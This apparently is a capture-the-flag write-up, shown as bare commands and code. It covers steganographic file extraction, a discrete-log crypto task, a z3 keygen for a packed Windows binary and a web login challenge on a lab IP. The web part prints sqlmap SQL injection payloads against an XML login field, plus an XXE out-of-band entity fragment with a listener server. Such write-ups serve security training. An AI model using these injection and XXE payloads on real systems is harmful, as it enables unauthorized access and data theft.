$ file H.jpg H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3
$ exiftool H.jpg | grep Creator Creator : part1 - 2b33f7c863ef8b
$ binwalk H.jpg | grep -v 'Unix path' DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.02 46 0x2E TIFF image data, big-endian, offset of first image directory: 8 628320 0x99660 Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt 628471 0x996F7 End of Zip archive 628493 0x9970D PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced 628584 0x99768 Zlib compressed data, compressed
$ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg $ cd _H.jpg.extracted $ ls 99660.zip 996F7.zip 9970D.png 99768 99768.zlib part2.txt $ cat part2.txt part 2 - 6b9efd1b89
<?php $n = "35948145881546650497425055363061529726"; $flag = "... 32 hex chars ..."; // find the flag $x = bchexdec($flag); echo bcpowmod(1511, $x, $n); function bchexdec($dec) { $res = 0; $mn = 1; $l = strlen($dec); for($i=0;$i<$l;$i++) { $res = bcadd($res, bcmul($mn, hexdec($dec[$l-$i-1]))); $mn = bcmul($mn, 16); } return $res; } ?>
#!/usr/bin/sage from sage.all import * R = IntegerModRing(35948145881546650497425055363061529726) y = 10899914993644372325321260353822561193 g = 1511 x = discrete_log(R(y), R(g)) print("Flag is: " + hex(x))
$ sage solve.py Flag is: 1203ca52964b15cd12887d920d229
% php A.php 10899914993644372325321260353822561193
$ upx -d auth_x32.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 1427267 <- 807235 56.56% win32/pe auth_x32.exe Unpacked 1 file.
key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k]
#!/usr/bin/env python from z3 import * import binascii # hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7] username = "hummelchen" ulen = len(username) # key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)] s = Solver() # for k in range(0, 16): s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k]) # , if s.check() != 'sat': print('Cannot solve this system') return model = s.model() serial = "" # for i in range(0, 16): h = model.evaluate(key[i]).as_long() serial += chr(h ^ ord(username[i % ulen])) print(binascii.hexlify(serial))
$ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169 Correct
$ python3 ./dirsearch.py -u http://192.168.56.11/ --exclude-status=403 -e txt Target: http://192.168.56.11/ [19:52:31] Starting: [19:52:37] 200 - 453B - /index.php [19:52:37] 200 - 453B - /index.php/login/ [19:52:37] 301 - 318B - /javascript -> http://192.168.56.11/javascript/ [19:52:38] 301 - 318B - /phpmyadmin -> http://192.168.56.11/phpmyadmin/ [19:52:39] 200 - 8KB - /phpmyadmin/ [19:52:39] 200 - 55B - /robots.txt Task Completed $ curl http://192.168.56.11/robots.txt I think js filter is 100% safe for checking user data
function login() { var user = $("#user").val(); var pass = $("#pass").val(); for(i=0;i<user.length;i++) if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a) { resp("Invalid user format"); return false; } for(i=0;i<pass.length;i++) if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a) { resp("Invalid pass format"); return false; } var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>"; $.post("/ajax.php", {"auth": auth}, resp); } function resp(data) { $("#info").html('<font color="red">'+data+'</font>'); }
auth=<auth><user>admin</user><pass>*</pass></auth>
Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth> Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth> Type: AND/OR time-based blind Title: MySQL <= 5.0.11 AND time-based blind (heavy query) Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth> Type: UNION query Title: MySQL UNION query (NULL) - 1 column Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth>
available databases [2]: [*] information_schema [*] site
<!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>"> %err;
$ python -m SimpleHTTPServer 1234
Source: https://habr.com/ru/post/359094/